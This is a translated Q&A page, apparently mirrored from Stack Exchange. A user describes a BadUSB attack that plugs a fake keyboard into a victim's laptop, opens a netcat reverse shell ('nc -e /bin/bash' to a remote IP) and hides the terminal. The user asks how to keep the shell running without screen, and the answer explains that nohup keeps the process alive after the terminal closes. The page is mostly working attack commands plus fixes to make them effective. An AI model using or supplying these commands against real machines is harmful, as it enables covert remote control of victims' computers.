繁体   English   中英

隐藏反shell端子无屏

[英]Hide a reverse shell terminal without screen

场景:攻击者将充当键盘的 USB 插入受害者的笔记本电脑。 有效载荷打开一个终端,执行反向 shell 并隐藏终端。

问题:我在本地进行的测试(ubuntu 19.04,和 digispark as usb)如下:

终端A nc -e /bin/bash 10.10.10.10 8888

终端 B nc -vlp 8888

一切正常,我的 shell 在终端 B 上有提示,但终端 A 没有隐藏。 那么在这种情况下它是没有用的。

终端A nc -e /bin/bash 10.10.10.10 8888&; disown; exit nc -e /bin/bash 10.10.10.10 8888&; disown; exit

终端 B nc -vlp 8888

终端 B 只是挂起,终端 A 被隐藏。 无用。

终端A nohup nc -e /bin/bash 10.10.10.10 8888&; exit nohup nc -e /bin/bash 10.10.10.10 8888&; exit

终端 B nc -vlp 8888

终端 B 只是挂起,终端 A 被隐藏

终端 A:我打开screen ,然后执行nc -e /bin/bash 10.10.10.10 8888CTRL^A ,然后d ,最后exit

终端 B nc -vlp 8888

使用screen一切正常(终端 B 接收到工作 shell 并且终端 A 不可见)但我不想使用 screen 因为它默认未安装。

问题:有没有办法(使用预装的工具)隐藏没有screen但效果相同的终端?

nohup nc ...&; disown; exit

shell 退出后,终端将注销或关闭(取决于它是哪种终端),并向控制进程组发送 SIGHUP,这将导致 nc 退出。

使用nohup会从终端分离并在其自己的进程组中运行nc (因此它将不再位于终端的控制进程组中),因此不会将 SIGHUP 发送给它。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM